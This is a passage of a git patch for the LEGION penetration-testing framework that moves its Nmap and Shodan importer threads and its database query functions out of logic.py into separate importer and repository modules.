'%some-keyword%' OR hosts.osMatch LIKE '%some-keyword%'" + " OR hosts.hostname LIKE '%some-keyword%')", result) From 429abcf118bf9bc92ad7631782066b319039fe18 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Mon, 16 Sep 2019 16:54:44 -0700 Subject: [PATCH 291/450] Address logic complexity in logic.py - Extract remaining database related functions into respective repositories with unit test backing - Extract Python and NMap importers out of logic.py and into `importers` directory under `app` module - Optimize test fixtures for less repetition in test setup - Enhancing functions to follow camel case naming convention --- .gitignore | 2 + app/importers/NmapImporter.py | 317 ++++++++++ app/importers/PythonImporter.py | 72 +++ app/importers/__init__.py | 17 + app/logic.py | 545 +----------------- controller/controller.py | 119 ++-- db/filters.py | 10 +- db/repositories/CVERepository.py | 8 +- db/repositories/HostRepository.py | 41 +- db/repositories/NoteRepository.py | 41 ++ db/repositories/PortRepository.py | 37 +- db/repositories/ProcessRepository.py | 157 ++++- db/repositories/ScriptRepository.py | 34 ++ db/repositories/ServiceRepository.py | 10 +- log/legion-db.log | 1 - log/legion-startup.log | 1 - log/legion.log | 1 - tests/app/test_logic.py | 57 -- tests/db/helpers/db_helpers.py | 14 +- tests/db/repositories/test_CVERepository.py | 20 +- tests/db/repositories/test_HostRepository.py | 116 ++-- tests/db/repositories/test_NoteRepository.py | 54 ++ tests/db/repositories/test_PortRepository.py | 71 ++- .../db/repositories/test_ProcessRepository.py | 317 ++++++---- .../db/repositories/test_ScriptRepository.py | 30 + .../db/repositories/test_ServiceRepository.py | 65 +-- tests/db/test_filters.py | 60 +- 27 files changed, 1252 insertions(+), 965 deletions(-) create mode 100644 app/importers/NmapImporter.py create mode 100644 app/importers/PythonImporter.py create mode 100644 app/importers/__init__.py create mode 100644 db/repositories/NoteRepository.py create mode 100644 db/repositories/ScriptRepository.py delete mode 100644 log/legion-db.log delete mode 100644 log/legion-startup.log delete mode 100644 log/legion.log create mode 100644 tests/db/repositories/test_NoteRepository.py create mode 100644 tests/db/repositories/test_ScriptRepository.py diff --git a/.gitignore b/.gitignore index eca49e20..7b909fb6 100644 --- a/.gitignore +++ b/.gitignore @@ -124,3 +124,5 @@ scripts/CloudFail docker/runLocal.sh docker/cleanupUntagged.sh docker/cleanupExited.sh + +log/*.log \ No newline at end of file diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py new file mode 100644 index 00000000..97a2b8c9 --- /dev/null +++ b/app/importers/NmapImporter.py @@ -0,0 +1,317 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import sys + +from PyQt5 import QtCore + +from db.database import nmapSessionObj, hostObj, note, osObj, serviceObj, portObj, l1ScriptObj +from parsers.Parser import Parser +from ui.ancillaryDialog import ProgressWidget, time + + +class NmapImporter(QtCore.QThread): + tick = QtCore.pyqtSignal(int, name="changed") # New style signal + done = QtCore.pyqtSignal(name="done") # New style signal + schedule = QtCore.pyqtSignal(object, bool, name="schedule") # New style signal + log = QtCore.pyqtSignal(str, name="log") + + def __init__(self): + QtCore.QThread.__init__(self, parent=None) + self.output = '' + self.importProgressWidget = ProgressWidget('Importing nmap..') + + def tsLog(self, msg): + self.log.emit(str(msg)) + + def setDB(self, db): + self.db = db + + def setFilename(self, filename): + self.filename = filename + + def setOutput(self, output): + self.output = output + + def run( + self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + try: + self.importProgressWidget.show() + session = self.db.session() + self.tsLog("Parsing nmap xml file: " + self.filename) + startTime = time() + + try: + parser = Parser(self.filename) + except: + self.tsLog('Giving up on import due to previous errors.') + self.tsLog("Unexpected error: {0}".format(sys.exc_info()[0])) + self.done.emit() + return + + self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB + s = parser.getSession() # nmap session info + if s: + n = nmapSessionObj(self.filename, s.startTime, s.finish_time, s.nmapVersion, s.scanArgs, s.totalHosts, + s.upHosts, s.downHosts) + session.add(n) + hostCount = len(parser.getAllHosts()) + if hostCount == 0: # to fix a division by zero if we ran nmap on one host + hostCount = 1 + totalprogress = 0 + + self.importProgressWidget.setProgress(int(totalprogress)) + self.importProgressWidget.show() + + createProgress = 0 + createOsNodesProgress = 0 + createPortsProgress = 0 + + for h in parser.getAllHosts(): # create all the hosts that need to be created + db_host = session.query(hostObj).filter_by(ip=h.ip).first() + + if not db_host: # if host doesn't exist in DB, create it first + hid = hostObj(osMatch='', osAccuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, + status=h.status, hostname=h.hostname, vendor=h.vendor, uptime=h.uptime, + lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) + self.tsLog("Adding db_host") + session.add(hid) + t_note = note(h.ip, 'Added by nmap') + session.add(t_note) + else: + self.tsLog("Found db_host already in db") + + createProgress = createProgress + ((100.0 / hostCount) / 5) + totalprogress = totalprogress + createProgress + self.importProgressWidget.setProgress(int(totalprogress)) + self.importProgressWidget.show() + + session.commit() + + for h in parser.getAllHosts(): # create all OS, service and port objects that need to be created + self.tsLog("Processing h {ip}".format(ip=h.ip)) + + db_host = session.query(hostObj).filter_by(ip=h.ip).first() + if db_host: + self.tsLog("Found db_host during os/ports/service processing") + else: + self.log("Did not find db_host during os/ports/service processing") + + os_nodes = h.getOs() # parse and store all the OS nodes + self.tsLog(" 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) + for os in os_nodes: + self.tsLog(" Processing os obj {os}".format(os=str(os.name))) + db_os = session.query(osObj).filter_by(hostId=db_host.id).filter_by(name=os.name).filter_by( + family=os.family).filter_by(generation=os.generation).filter_by(osType=os.osType).filter_by( + vendor=os.vendor).first() + + if not db_os: + t_osObj = osObj(os.name, os.family, os.generation, os.osType, os.vendor, os.accuracy, + db_host.id) + session.add(t_osObj) + + createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) + totalprogress = totalprogress + createOsNodesProgress + self.importProgressWidget.setProgress(int(totalprogress)) + self.importProgressWidget.show() + + session.commit() + + all_ports = h.all_ports() + self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) + for p in all_ports: # parse the ports + self.tsLog(" Processing port obj {port}".format(port=str(p.portId))) + s = p.getService() + + if not (s is None): # check if service already exists to avoid adding duplicates + # print(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) + # db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + db_service = session.query(serviceObj).filter_by(name=s.name).first() + if not db_service: + # print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}".format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) + db_service = serviceObj(s.name, s.product, s.version, s.extrainfo, s.fingerprint) + session.add(db_service) + # else: + # print("FOUND service *************** name={0}".format(db_service.name)) + + else: # else, there is no service info to parse + db_service = None + # fetch the port + db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId).filter_by( + protocol=p.protocol).first() + + if not db_port: + # print("Did not find port *********** portid={0} proto={1}".format(p.portId, p.protocol)) + if db_service: + db_port = portObj(p.portId, p.protocol, p.state, db_host.id, db_service.id) + else: + db_port = portObj(p.portId, p.protocol, p.state, db_host.id, '') + session.add(db_port) + # else: + # print('FOUND port *************** portid={0}'.format(db_port.portId)) + createPortsProgress = createPortsProgress + ((100.0 / hostCount) / 5) + totalprogress = totalprogress + createPortsProgress + self.importProgressWidget.setProgress(totalprogress) + self.importProgressWidget.show() + + session.commit() + + # totalprogress += progress + # self.tick.emit(int(totalprogress)) + + for h in parser.getAllHosts(): # create all script objects that need to be created + db_host = session.query(hostObj).filter_by(ip=h.ip).first() + + for p in h.all_ports(): + for scr in p.getScripts(): + self.tsLog(" Processing script obj {scr}".format(scr=str(scr))) + print(" Processing script obj {scr}".format(scr=str(scr))) + db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by( + portId=p.portId).filter_by(protocol=p.protocol).first() + db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId).filter_by( + portId=db_port.id).first() + + if not db_script: # if this script object doesn't exist, create it + t_l1ScriptObj = l1ScriptObj(scr.scriptId, scr.output, db_port.id, db_host.id) + self.tsLog(" Adding l1ScriptObj obj {script}".format(script=scr.scriptId)) + session.add(t_l1ScriptObj) + + for hs in h.getHostScripts(): + db_script = session.query(l1ScriptObj).filter_by(scriptId=hs.scriptId).filter_by( + hostId=db_host.id).first() + if not db_script: + t_l1ScriptObj = l1ScriptObj(hs.scriptId, hs.output, None, db_host.id) + session.add(t_l1ScriptObj) + + session.commit() + + for h in parser.getAllHosts(): # update everything + + db_host = session.query(hostObj).filter_by(ip=h.ip).first() + + if db_host.ipv4 == '' and not h.ipv4 == '': + db_host.ipv4 = h.ipv4 + if db_host.ipv6 == '' and not h.ipv6 == '': + db_host.ipv6 = h.ipv6 + if db_host.macaddr == '' and not h.macaddr == '': + db_host.macaddr = h.macaddr + if not h.status == '': + db_host.status = h.status + if db_host.hostname == '' and not h.hostname == '': + db_host.hostname = h.hostname + if db_host.vendor == '' and not h.vendor == '': + db_host.vendor = h.vendor + if db_host.uptime == '' and not h.uptime == '': + db_host.uptime = h.uptime + if db_host.lastboot == '' and not h.lastboot == '': + db_host.lastboot = h.lastboot + if db_host.distance == '' and not h.distance == '': + db_host.distance = h.distance + if db_host.state == '' and not h.state == '': + db_host.state = h.state + if db_host.count == '' and not h.count == '': + db_host.count = h.count + + session.add(db_host) + + tmp_name = '' + tmp_accuracy = '0' # TODO: check if better to convert to int for comparison + + os_nodes = h.getOs() + for os in os_nodes: + db_os = session.query(osObj).filter_by(hostId=db_host.id).filter_by(name=os.name).filter_by( + family=os.family).filter_by(generation=os.generation).filter_by(osType=os.osType).filter_by( + vendor=os.vendor).first() + + db_os.osAccuracy = os.accuracy # update the accuracy + + if not os.name == '': # get the most accurate OS match/accuracy to store it in the host table for easier access + if os.accuracy > tmp_accuracy: + tmp_name = os.name + tmp_accuracy = os.accuracy + + if os_nodes: # if there was operating system info to parse + + if not tmp_name == '' and not tmp_accuracy == '0': # update the current host with the most accurate OS match + db_host.osMatch = tmp_name + db_host.osAccuracy = tmp_accuracy + + session.add(db_host) + + for scr in h.getHostScripts(): + print("-----------------------Host SCR: {0}".format(scr.scriptId)) + db_host = session.query(hostObj).filter_by(ip=h.ip).first() + scrProcessorResults = scr.scriptSelector(db_host) + for scrProcessorResult in scrProcessorResults: + session.add(scrProcessorResult) + + for scr in h.getScripts(): + print("-----------------------SCR: {0}".format(scr.scriptId)) + db_host = session.query(hostObj).filter_by(ip=h.ip).first() + scrProcessorResults = scr.scriptSelector(db_host) + for scrProcessorResult in scrProcessorResults: + session.add(scrProcessorResult) + + for p in h.all_ports(): + s = p.getService() + if not (s is None): + # db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + db_service = session.query(serviceObj).filter_by(name=s.name).first() + else: + db_service = None + # fetch the port + db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId).filter_by( + protocol=p.protocol).first() + if db_port: + # print("************************ Found {0}".format(db_port)) + + if db_port.state != p.state: + db_port.state = p.state + session.add(db_port) + + if not ( + db_service is None) and db_port.serviceId != db_service.id: # if there is some new service information, update it + db_port.serviceId = db_service.id + session.add(db_port) + + for scr in p.getScripts(): # store the script results (note that existing script outputs are also kept) + db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId).filter_by( + portId=db_port.id).first() + + if not scr.output == '' and scr.output is not None: + db_script.output = scr.output + + session.add(db_script) + + totalprogress = 100 + self.importProgressWidget.setProgress(int(totalprogress)) + self.importProgressWidget.show() + + session.commit() + self.db.dbsemaphore.release() # we are done with the DB + self.tsLog('Finished in ' + str(time() - startTime) + ' seconds.') + self.done.emit() + self.importProgressWidget.hide() + self.schedule.emit(parser, + self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) + + except Exception as e: + self.tsLog('Something went wrong when parsing the nmap file..') + self.tsLog("Unexpected error: {0}".format(sys.exc_info()[0])) + self.tsLog(e) + raise + self.done.emit() diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py new file mode 100644 index 00000000..f4cf99d3 --- /dev/null +++ b/app/importers/PythonImporter.py @@ -0,0 +1,72 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from PyQt5 import QtCore + +from db.database import hostObj +from scripts.python import pyShodan +from ui.ancillaryDialog import ProgressWidget, time + + +class PythonImporter(QtCore.QThread): + tick = QtCore.pyqtSignal(int, name="changed") # New style signal + done = QtCore.pyqtSignal(name="done") # New style signal + schedule = QtCore.pyqtSignal(object, bool, name="schedule") # New style signal + log = QtCore.pyqtSignal(str, name="log") + + def __init__(self): + QtCore.QThread.__init__(self, parent=None) + self.output = '' + self.hostIp = '' + self.pythonScriptDispatch = {'pyShodan': pyShodan.PyShodanScript()} + self.pythonScriptObj = None + self.importProgressWidget = ProgressWidget('Importing shodan data..') + + def tsLog(self, msg): + self.log.emit(str(msg)) + + def setDB(self, db): + self.db = db + + def setHostIp(self, hostIp): + self.hostIp = hostIp + + def setPythonScript(self, pythonScript): + self.pythonScriptObj = self.pythonScriptDispatch[pythonScript] + + def setOutput(self, output): + self.output = output + + def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + try: + session = self.db.session() + startTime = time() + self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB + #self.setPythonScript(self.pythonScript) + db_host = session.query(hostObj).filter_by(ip = self.hostIp).first() + self.pythonScriptObj.setDbHost(db_host) + self.pythonScriptObj.setSession(session) + self.pythonScriptObj.run() + session.commit() + self.db.dbsemaphore.release() # we are done with the DB + self.tsLog('Finished in ' + str(time() - startTime) + ' seconds.') + self.done.emit() + + except Exception as e: + self.tsLog(e) + raise + self.done.emit() diff --git a/app/importers/__init__.py b/app/importers/__init__.py new file mode 100644 index 00000000..bcdbc64c --- /dev/null +++ b/app/importers/__init__.py @@ -0,0 +1,17 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" \ No newline at end of file diff --git a/app/logic.py b/app/logic.py index 658caf5e..3c6a73f3 100644 --- a/app/logic.py +++ b/app/logic.py @@ -24,11 +24,11 @@ from db.database import * from db.repositories.CVERepository import CVERepository from db.repositories.HostRepository import HostRepository +from db.repositories.NoteRepository import NoteRepository from db.repositories.PortRepository import PortRepository from db.repositories.ProcessRepository import ProcessRepository +from db.repositories.ScriptRepository import ScriptRepository from db.repositories.ServiceRepository import ServiceRepository -from parsers.Parser import * -from scripts.python import pyShodan from ui.ancillaryDialog import * @@ -40,11 +40,13 @@ def __init__(self, project_name: str, db: Database, shell: Shell): self.projectname = project_name log.info(project_name) self.createTemporaryFiles() # creates temporary files/folders used by SPARTA - self.service_repository: ServiceRepository = ServiceRepository(self.db) - self.process_repository: ProcessRepository = ProcessRepository(self.db, log) - self.host_repository: HostRepository = HostRepository(self.db) - self.port_repository: PortRepository = PortRepository(self.db) - self.cve_repository: CVERepository = CVERepository(self.db) + self.serviceRepository: ServiceRepository = ServiceRepository(self.db) + self.processRepository: ProcessRepository = ProcessRepository(self.db, log) + self.hostRepository: HostRepository = HostRepository(self.db) + self.portRepository: PortRepository = PortRepository(self.db) + self.cveRepository: CVERepository = CVERepository(self.db) + self.noteRepository: NoteRepository = NoteRepository(self.db, log) + self.scriptRepository: ScriptRepository = ScriptRepository(self.db) def createTemporaryFiles(self): try: @@ -104,7 +106,7 @@ def moveToolOutput(self, outputFilename): path = self.outputfolder+'/'+str(tool) if not os.path.exists(str(path)): os.makedirs(str(path)) - + # check if the outputFilename exists, if not try .xml and .txt extensions (different tools use different formats) if os.path.exists(str(outputFilename)) and os.path.isfile(str(outputFilename)): shutil.move(str(outputFilename), str(path)) @@ -201,530 +203,3 @@ def saveProjectAs(self, filename, replace=0, projectType = 'legion'): log.info('Something went wrong while saving the project..') log.info("Unexpected error: {0}".format(sys.exc_info()[0])) return False - - # get notes for given host IP - def getNoteFromDB(self, hostId): - session = self.db.session() - return session.query(note).filter_by(hostId=str(hostId)).first() - - # get script info for given host IP - def getScriptsFromDB(self, hostIP): - query = ('SELECT host.id, host.scriptId, port.portId, port.protocol FROM l1ScriptObj AS host ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = host.hostId ' + - 'LEFT OUTER JOIN portObj AS port ON port.id = host.portId ' + - 'WHERE hosts.ip=?') - - return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() - - def getScriptOutputFromDB(self, scriptDBId): - query = ('SELECT script.output FROM l1ScriptObj as script WHERE script.id = ?') - return self.db.metadata.bind.execute(query, str(scriptDBId)).fetchall() - - # used to delete all port/script data related to a host - to overwrite portscan info with the latest scan - def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): - session = self.db.session() - ports_for_host = session.query(portObj).filter(portObj.hostId == hostID).filter(portObj.protocol == str(protocol)).all() - for p in ports_for_host: - scripts_for_ports = session.query(l1ScriptObj).filter(l1ScriptObj.portId == p.id).all() - for s in scripts_for_ports: - session.delete(s) - for p in ports_for_host: - session.delete(p) - session.commit() - return - - def deleteHost(self, hostIP): - session = self.db.session() - h = session.query(hostObj).filter_by(ip=str(hostIP)).first() - session.delete(h) - session.commit() - return - - # this function returns all the processes from the DB - # the showProcesses flag is used to ensure we don't display processes in the process table after we have cleared them or when an existing project is opened. - # to speed up the queries we replace the columns we don't need by zeros (the reason we need all the columns is we are using the same model to display process information everywhere) - def getProcessesFromDB(self, filters, showProcesses='noNmap', sort = 'desc', ncol = 'id'): - if showProcesses == 'noNmap': # we do not fetch nmap processes because these are not displayed in the host tool tabs / tools - query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" FROM process AS process WHERE process.closed="False" AND process.name!="nmap" group by process.name') - result = self.db.metadata.bind.execute(query).fetchall() - - elif showProcesses == False: # when opening a project, fetch only the processes that have display=false and were not in tabs that were closed by the user - query = ('SELECT process.id, process.hostIp, process.tabTitle, process.outputfile, output.output FROM process AS process ' - 'INNER JOIN process_output AS output ON process.id = output.processId ' - 'WHERE process.display=? AND process.closed="False" order by process.id desc') - result = self.db.metadata.bind.execute(query, str(showProcesses)).fetchall() - - #query = ('SELECT process.id, process.hostIp, process.tabTitle, process.outputfile, output.output FROM process AS process ' - #'INNER JOIN process_output AS output ON process.id = output.processId ' - #'WHERE process.display=? AND process.closed="False" order by process.id desc') - - else: # show all the processes in the (bottom) process table (no matter their closed value) - query = ('SELECT * FROM process AS process WHERE process.display=? order by {0} {1}'.format(ncol, sort)) - result = self.db.metadata.bind.execute(query, str(showProcesses)).fetchall() - - return result - - def getHostsForTool(self, toolname, closed='False'): - if closed == 'FetchAll': - query = ('SELECT "0", "0", "0", "0", "0", process.hostIp, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=?') - else: - query = ('SELECT process.id, "0", "0", "0", "0", "0", "0", process.hostIp, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=? and process.closed="False"') - - return self.db.metadata.bind.execute(query, str(toolname)).fetchall() - - def toggleHostCheckStatus(self, ipaddr): - session = self.db.session() - h = session.query(hostObj).filter_by(ip=ipaddr).first() - if h: - if h.checked == 'False': - h.checked = 'True' - else: - h.checked = 'False' - session.add(h) - self.db.commit() - - # this function adds a new process to the DB - def addProcessToDB(self, proc): - log.info('Add process') - p_output = process_output() # add row to process_output table (separate table for performance reasons) - p = process(str(proc.pid()), str(proc.name), str(proc.tabTitle), str(proc.hostIp), str(proc.port), str(proc.protocol), unicode(proc.command), proc.startTime, "", str(proc.outputfile), 'Waiting', [p_output], 100, 0) - log.info(p) - session = self.db.session() - session.add(p) - self.db.commit() - proc.id = p.id - return p.id - - def addScreenshotToDB(self, ip, port, filename): - p_output = process_output() # add row to process_output table (separate table for performance reasons) - p = process(0, "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", [p_output], 2, 0) - session = self.db.session() - session.add(p) - session.commit() - return p.id - - # is not actually a toggle function. it sets all the non-running processes display flag to false to ensure they aren't shown in the process table - # but they need to be shown as tool tabs. this function is called when a user clears the processes or when a project is being closed. - def toggleProcessDisplayStatus(self, resetAll=False): - session = self.db.session() - proc = session.query(process).filter_by(display='True').all() - for p in proc: - session.add(self.toggle_process_status_field(p, resetAll)) - self.db.commit() - - def toggle_process_status_field(self, p, reset_all): - not_running = p.status != 'Running' - not_waiting = p.status != 'Waiting' - - if reset_all and not_running: - p.display = 'False' - else: - if not_running and not_waiting: - p.display = 'False' - - return p - - # this function updates the status of a process if it is killed - def storeProcessKillStatusInDB(self, procId): - session = self.db.session() - proc = session.query(process).filter_by(id=procId).first() - #proc = process.query.filter_by(id=procId).first() - if proc and not proc.status == 'Finished': - proc.status = 'Killed' - proc.endTime = getTimestamp(True) # store end time - session.add(proc) - #session.commit() - self.db.commit() - - def storeProcessCrashStatusInDB(self, procId): - session = self.db.session() - proc = session.query(process).filter_by(id=procId).first() - #proc = process.query.filter_by(id=procId).first() - if proc and not proc.status == 'Killed' and not proc.status == 'Cancelled': - proc.status = 'Crashed' - proc.endTime = getTimestamp(True) # store end time - session.add(proc) - #session.commit() - self.db.commit() - - # this function updates the status of a process if it is killed - def storeProcessCancelStatusInDB(self, procId): - session = self.db.session() - proc = session.query(process).filter_by(id=procId).first() - #proc = process.query.filter_by(id=procId).first() - if proc: - proc.status = 'Cancelled' - proc.endTime = getTimestamp(True) # store end time - session.add(proc) - #session.commit() - self.db.commit() - - def storeProcessRunningStatusInDB(self, procId, pid): - session = self.db.session() - proc = session.query(process).filter_by(id=procId).first() - #proc = process.query.filter_by(id=procId).first() - if proc: - proc.status = 'Running' - proc.pid = str(pid) - session.add(proc) - #session.commit() - self.db.commit() - - # change the status in the db as closed - def storeCloseTabStatusInDB(self, procId): - session = self.db.session() - proc = session.query(process).filter_by(id=procId).first() - #proc = process.query.filter_by(id=int(procId)).first() - if proc: - proc.closed = 'True' - session.add(proc) - #session.commit() - self.db.commit() - - # change the status in the db as closed - def storeProcessRunningElapsedInDB(self, procId, elapsed): - session = self.db.session() - proc = session.query(process).filter_by(id=procId).first() - if proc: - proc.elapsed = elapsed - session.add(proc) - self.db.commit() - - def storeNotesInDB(self, hostId, notes): - if len(notes) == 0: - notes = unicode("".format(hostId=hostId)) - log.debug("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) - t_note = self.getNoteFromDB(hostId) - if t_note: - t_note.text = unicode(notes) - else: - t_note = note(hostId, unicode(notes)) - session = self.db.session() - session.add(t_note) - self.db.commit() - - -class PythonImporter(QtCore.QThread): - tick = QtCore.pyqtSignal(int, name="changed") # New style signal - done = QtCore.pyqtSignal(name="done") # New style signal - schedule = QtCore.pyqtSignal(object, bool, name="schedule") # New style signal - log = QtCore.pyqtSignal(str, name="log") - - def __init__(self): - QtCore.QThread.__init__(self, parent=None) - self.output = '' - self.hostIp = '' - self.pythonScriptDispatch = {'pyShodan': pyShodan.PyShodanScript()} - self.pythonScriptObj = None - self.importProgressWidget = ProgressWidget('Importing shodan data..') - - def tsLog(self, msg): - self.log.emit(str(msg)) - - def setDB(self, db): - self.db = db - - def setHostIp(self, hostIp): - self.hostIp = hostIp - - def setPythonScript(self, pythonScript): - self.pythonScriptObj = self.pythonScriptDispatch[pythonScript] - - def setOutput(self, output): - self.output = output - - def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing - try: - session = self.db.session() - startTime = time() - self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB - #self.setPythonScript(self.pythonScript) - db_host = session.query(hostObj).filter_by(ip = self.hostIp).first() - self.pythonScriptObj.setDbHost(db_host) - self.pythonScriptObj.setSession(session) - self.pythonScriptObj.run() - session.commit() - self.db.dbsemaphore.release() # we are done with the DB - self.tsLog('Finished in ' + str(time() - startTime) + ' seconds.') - self.done.emit() - - except Exception as e: - self.tsLog(e) - raise - self.done.emit() - - -class NmapImporter(QtCore.QThread): - tick = QtCore.pyqtSignal(int, name="changed") # New style signal - done = QtCore.pyqtSignal(name="done") # New style signal - schedule = QtCore.pyqtSignal(object, bool, name="schedule") # New style signal - log = QtCore.pyqtSignal(str, name="log") - - def __init__(self): - QtCore.QThread.__init__(self, parent=None) - self.output = '' - self.importProgressWidget = ProgressWidget('Importing nmap..') - - def tsLog(self, msg): - self.log.emit(str(msg)) - - def setDB(self, db): - self.db = db - - def setFilename(self, filename): - self.filename = filename - - def setOutput(self, output): - self.output = output - - def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing - try: - self.importProgressWidget.show() - session = self.db.session() - self.tsLog("Parsing nmap xml file: " + self.filename) - startTime = time() - - try: - parser = Parser(self.filename) - except: - self.tsLog('Giving up on import due to previous errors.') - self.tsLog("Unexpected error: {0}".format(sys.exc_info()[0])) - self.done.emit() - return - - self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB - s = parser.getSession() # nmap session info - if s: - n = nmapSessionObj(self.filename, s.startTime, s.finish_time, s.nmapVersion, s.scanArgs, s.totalHosts, s.upHosts, s.downHosts) - session.add(n) - hostCount = len(parser.getAllHosts()) - if hostCount==0: # to fix a division by zero if we ran nmap on one host - hostCount=1 - totalprogress = 0 - - self.importProgressWidget.setProgress(int(totalprogress)) - self.importProgressWidget.show() - - createProgress = 0 - createOsNodesProgress = 0 - createPortsProgress = 0 - - for h in parser.getAllHosts(): # create all the hosts that need to be created - db_host = session.query(hostObj).filter_by(ip=h.ip).first() - - if not db_host: # if host doesn't exist in DB, create it first - hid = hostObj(osMatch='', osAccuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, status=h.status, hostname=h.hostname, vendor=h.vendor, uptime=h.uptime, lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) - self.tsLog("Adding db_host") - session.add(hid) - t_note = note(h.ip, 'Added by nmap') - session.add(t_note) - else: - self.tsLog("Found db_host already in db") - - createProgress = createProgress + ((100.0 / hostCount) / 5) - totalprogress = totalprogress + createProgress - self.importProgressWidget.setProgress(int(totalprogress)) - self.importProgressWidget.show() - - session.commit() - - for h in parser.getAllHosts(): # create all OS, service and port objects that need to be created - self.tsLog("Processing h {ip}".format(ip=h.ip)) - - db_host = session.query(hostObj).filter_by(ip=h.ip).first() - if db_host: - self.tsLog("Found db_host during os/ports/service processing") - else: - self.log("Did not find db_host during os/ports/service processing") - - os_nodes = h.getOs() # parse and store all the OS nodes - self.tsLog(" 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) - for os in os_nodes: - self.tsLog(" Processing os obj {os}".format(os=str(os.name))) - db_os = session.query(osObj).filter_by(hostId=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(osType=os.osType).filter_by(vendor=os.vendor).first() - - if not db_os: - t_osObj = osObj(os.name, os.family, os.generation, os.osType, os.vendor, os.accuracy, db_host.id) - session.add(t_osObj) - - createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) - totalprogress = totalprogress + createOsNodesProgress - self.importProgressWidget.setProgress(int(totalprogress)) - self.importProgressWidget.show() - - session.commit() - - all_ports = h.all_ports() - self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) - for p in all_ports: # parse the ports - self.tsLog(" Processing port obj {port}".format(port=str(p.portId))) - s = p.getService() - - if not (s is None): # check if service already exists to avoid adding duplicates - #print(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) - #db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() - db_service = session.query(serviceObj).filter_by(name=s.name).first() - if not db_service: - #print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}".format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) - db_service = serviceObj(s.name, s.product, s.version, s.extrainfo, s.fingerprint) - session.add(db_service) - # else: - #print("FOUND service *************** name={0}".format(db_service.name)) - - else: # else, there is no service info to parse - 